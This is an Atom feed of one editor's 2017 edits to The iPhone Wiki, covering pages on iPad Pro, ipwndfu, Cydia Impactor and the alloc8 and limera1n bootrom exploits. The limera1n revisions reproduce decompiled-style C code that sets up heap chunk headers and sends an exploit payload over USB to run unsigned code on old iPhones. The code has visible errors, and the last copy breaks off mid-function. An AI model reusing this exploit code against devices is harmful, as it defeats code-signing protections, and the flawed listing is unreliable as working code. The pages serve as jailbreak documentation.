<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=WikiEditor01</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=WikiEditor01"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/WikiEditor01"/>
	<updated>2026-04-08T08:24:21Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IPad_Pro&amp;diff=57637</id>
		<title>IPad Pro</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IPad_Pro&amp;diff=57637"/>
		<updated>2017-06-08T11:21:06Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: updated devices&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The iPad Pro is the successor to the [[iPad Air 2]].&lt;br /&gt;
&lt;br /&gt;
==Models==&lt;br /&gt;
&lt;br /&gt;
* [[iPad Pro (9.7-inch)]]&lt;br /&gt;
* [[iPad Pro (10.5-inch)]]&lt;br /&gt;
* [[iPad Pro (12.9-inch)]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Devices]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57062</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57062"/>
		<updated>2017-04-12T10:07:29Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: Included Wikipedia link to libusb&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:macOS|macOS]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is a [[jailbreak]] utility from axi0mX, released on April 11, 2017. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] or downgrade on all variants of the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
* [[wikipedia:libusb|libusb]]&lt;br /&gt;
* pyusb&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
* [[User:Geohot|geohot]] - [[limera1n Exploit|limera1n exploit]]&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrading]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57061</id>
		<title>Cydia Impactor</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57061"/>
		<updated>2017-04-12T10:03:30Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Infobox software&lt;br /&gt;
| name                   = Cydia Impactor&lt;br /&gt;
| title                  = Cydia Impactor&lt;br /&gt;
| author                 = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| developer              = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 0.9.41&lt;br /&gt;
| latest release date    = {{Start date and age|2017|03|13}}&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Sideloading&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://cydiaimpactor.com Cydia Impactor]&lt;br /&gt;
}}&lt;br /&gt;
'''Cydia Impactor''' is a multifunction tool available for Windows, Mac, and Linux, created by [[User:saurik|Jay Freeman (saurik)]], used to install IPA files on iOS and APK files on Android. It is able to exploit the series of Android &amp;quot;Master Key&amp;quot; vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
It has been used to accomplish [[semi-untethered jailbreak]]s on iOS devices in recent years - specifically, it is used to sideload the IPAs that are then used to jailbreak, such as [[Pangu9|Pangu9 for iOS 9.2-9.3.3]], [[Home Depot]], [[yalu]], [[PPJailbreak|PPJailbreak for iOS 10]] and [[LiberTV]]. Apps are signed for seven days using a free developer account associated with any Apple ID, or one year if the user has a paid developer account and is a member of the Apple Developer Program.&lt;br /&gt;
&lt;br /&gt;
==Note==&lt;br /&gt;
Cydia Eraser, a tool similar to [[SemiRestore]] that can be used to wipe the device and preserve the iOS version, was previously called Cydia Impactor. However, [[saurik]] chose to change the name to Cydia Eraser to prevent confusion.&lt;br /&gt;
&lt;br /&gt;
==Related==&lt;br /&gt;
*[[Semi-untethered jailbreak]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Sideloading]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57060</id>
		<title>Cydia Impactor</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57060"/>
		<updated>2017-04-12T10:02:13Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: Adjusted structure of page to avoid repetition of &amp;quot;Cydia Impactor is/has/will&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Infobox software&lt;br /&gt;
| name                   = Cydia Impactor&lt;br /&gt;
| title                  = Cydia Impactor&lt;br /&gt;
| author                 = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| developer              = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 0.9.41&lt;br /&gt;
| latest release date    = {{Start date and age|2017|03|13}}&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Sideloading&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://cydiaimpactor.com Cydia Impactor]&lt;br /&gt;
}}&lt;br /&gt;
'''Cydia Impactor''' is a multifunction tool available for Windows, Mac, and Linux, created by [[User:saurik|Jay Freeman (saurik)]] that is used to install IPA files on iOS and APK files on Android. It can exploit the series of Android &amp;quot;Master Key&amp;quot; vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
It has been used to accomplish [[semi-untethered jailbreak]]s on iOS devices in recent years - specifically, it is used to sideload the IPAs that are then used to jailbreak, such as [[Pangu9|Pangu9 for iOS 9.2-9.3.3]], [[Home Depot]], [[yalu]], [[PPJailbreak|PPJailbreak for iOS 10]] and [[LiberTV]]. Apps are signed for seven days using a free developer account associated with any Apple ID, or one year if the user has a paid developer account and is a member of the Apple Developer Program.&lt;br /&gt;
&lt;br /&gt;
==Note==&lt;br /&gt;
Cydia Eraser, a tool similar to [[SemiRestore]] that can be used to wipe the device and preserve the iOS version, was previously called Cydia Impactor. However, [[saurik]] chose to change the name to Cydia Eraser to prevent confusion.&lt;br /&gt;
&lt;br /&gt;
==Related==&lt;br /&gt;
*[[Semi-untethered jailbreak]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Sideloading]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57059</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57059"/>
		<updated>2017-04-12T09:51:59Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code on the both the [[Bootrom 359.3.2|new bootrom]] and the [[Bootrom 359.3|old bootrom]] [[N88AP|iPhone 3GS]] (and thereby [[jailbreak]] it). It is the first public [[Untethered jailbreak|untethered]] [[bootrom]] exploit for the [[Bootrom 359.3.2|new bootrom]] iPhone 3GS, and the last publicly disclosed [[bootrom]] exploit of all devices.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' published a detailed analysis of alloc8 at [https://github.com/axi0mX/alloc8/blob/master/README GitHub] following his discovery of the exploit.&lt;br /&gt;
&lt;br /&gt;
[[ipwndfu]] is currently the primary and most simple way of using the alloc8 exploit. &lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57040</id>
		<title>Cydia Impactor</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57040"/>
		<updated>2017-04-12T00:44:21Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Infobox software&lt;br /&gt;
| name                   = Cydia Impactor&lt;br /&gt;
| title                  = Cydia Impactor&lt;br /&gt;
| author                 = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| developer              = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 0.9.40&lt;br /&gt;
| latest release date    = {{Start date|2017|03|12|df=yes}}&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Sideloading&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://cydiaimpactor.com Cydia Impactor]&lt;br /&gt;
}}&lt;br /&gt;
'''Cydia Impactor''' is a multifunction tool available for Windows, Mac and Linux, created by [[User:saurik|Jay Freeman (saurik)]]. It can be used to install IPA files on iOS and APK files on Android, and can also be used to exploit the series of Android &amp;quot;Master Key&amp;quot; vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
It has been used to accomplish [[semi-untethered jailbreak]]s on iOS devices in recent years - specifically, it is used to sideload the IPAs that are then used to jailbreak, such as [[Pangu9|Pangu9 for iOS 9.2-9.3.3]], [[Home Depot]], [[yalu]], [[PPJailbreak|PPJailbreak for iOS 10]] and [[LiberTV]]. Apps are signed for seven days using the user's Apple ID. The user must have a free developer account associated with their Apple ID, or if the user has a paid developer account and is a member of the Apple Developer Program, apps are signed for one year.&lt;br /&gt;
&lt;br /&gt;
==Note==&lt;br /&gt;
Cydia Eraser, a tool similar to [[SemiRestore]] that can be used to wipe the device and preserve the iOS version, was previously called Cydia Impactor. However, saurik chose to change the name to Cydia Eraser to prevent confusion.&lt;br /&gt;
&lt;br /&gt;
==Related==&lt;br /&gt;
*[[Semi-untethered jailbreak]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Sideloading]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57039</id>
		<title>Ipwndfu</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Ipwndfu&amp;diff=57039"/>
		<updated>2017-04-12T00:41:19Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
{{infobox software&lt;br /&gt;
| name                   = ipwndfu&lt;br /&gt;
| title                  = ipwndfu&lt;br /&gt;
| author                 = axi0mX&lt;br /&gt;
| developer              = axi0mX&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| released               = {{start date and age|2017|04|11}}&lt;br /&gt;
| operating system       = [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Jailbreaking&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [https://github.com/axi0mX/ipwndfu/ GitHub]&lt;br /&gt;
}}&lt;br /&gt;
'''ipwndfu''' is '''axi0mX''''s [[jailbreak]] utility. It uses the [[alloc8 Exploit]] to achieve an [[untethered jailbreak]] or downgrade on all variants of the [[N88AP|iPhone 3GS]].&lt;br /&gt;
&lt;br /&gt;
==Dependencies==&lt;br /&gt;
* libusb&lt;br /&gt;
* pyusb&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
* '''[[User:Geohot|geohot]]''' - [[limera1n exploit]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [https://github.com/axi0mX/ipwndfu/ Official GitHub repository] &lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;br /&gt;
[[Category:Downgrades]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57038</id>
		<title>Cydia Impactor</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Cydia_Impactor&amp;diff=57038"/>
		<updated>2017-04-12T00:39:51Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Infobox software&lt;br /&gt;
| name                   = Cydia Impactor&lt;br /&gt;
| title                  = Cydia Impactor&lt;br /&gt;
| author                 = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| developer              = [[User:saurik|Jay Freeman (saurik)]]&lt;br /&gt;
| discontinued           = &lt;br /&gt;
| latest release version = 0.9.40&lt;br /&gt;
| latest release date    = {{Start date|2017|03|12|df=yes}}&lt;br /&gt;
| operating system       = [[wikipedia:Microsoft Windows|Windows]] / [[wikipedia:OS X|OS X]] / [[wikipedia:Linux|Linux]]&lt;br /&gt;
| language               = [[wikipedia:English|English]]&lt;br /&gt;
| status                 = Active&lt;br /&gt;
| genre                  = Sideloading&lt;br /&gt;
| license                = [[wikipedia:Freeware|Freeware]]&lt;br /&gt;
| website                = [http://cydiaimpactor.com Cydia Impactor]&lt;br /&gt;
}}&lt;br /&gt;
'''Cydia Impactor''' is a multifunction tool available for Windows, Mac and Linux, created by [[User:saurik|Jay Freeman (saurik)]]. It can be used to install IPA files on iOS and APK files on Android, and can also be used to exploit the series of Android &amp;quot;Master Key&amp;quot; vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Cydia Impactor has been used to accomplish [[semi-untethered jailbreak]]s on iOS devices in recent years - specifically, it is used to sideload the IPAs that are then used to jailbreak, such as [[Pangu9|Pangu9 for iOS 9.2-9.3.3]], [[Home Depot]], [[yalu]], [[PPJailbreak|PPJailbreak for iOS 10]] and [[LiberTV]].&lt;br /&gt;
&lt;br /&gt;
Apps are signed for seven days using the user's Apple ID. The user must have a free developer account associated with their Apple ID, or the user has a paid developer account and is a member of the Apple Developer Program, apps are signed for one year.&lt;br /&gt;
&lt;br /&gt;
==Note==&lt;br /&gt;
Cydia Eraser, a tool similar to [[SemiRestore]] that can be used to wipe the device and preserve the iOS version, was previously called Cydia Impactor. However, saurik chose to change the name to Cydia Eraser to prevent confusion.&lt;br /&gt;
&lt;br /&gt;
==Related==&lt;br /&gt;
*[[Semi-untethered jailbreak]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Sideloading]]&lt;br /&gt;
[[Category:Jailbreaking]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57037</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57037"/>
		<updated>2017-04-12T00:35:02Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains the only publicly disclosed bootrom exploit for this device as well as all other variants of the [[iPhone 4]].&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57036</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57036"/>
		<updated>2017-04-12T00:34:24Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains the only publicly disclosed bootrom exploit for this device, as well as all other variants of the [[iPhone 4]].&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
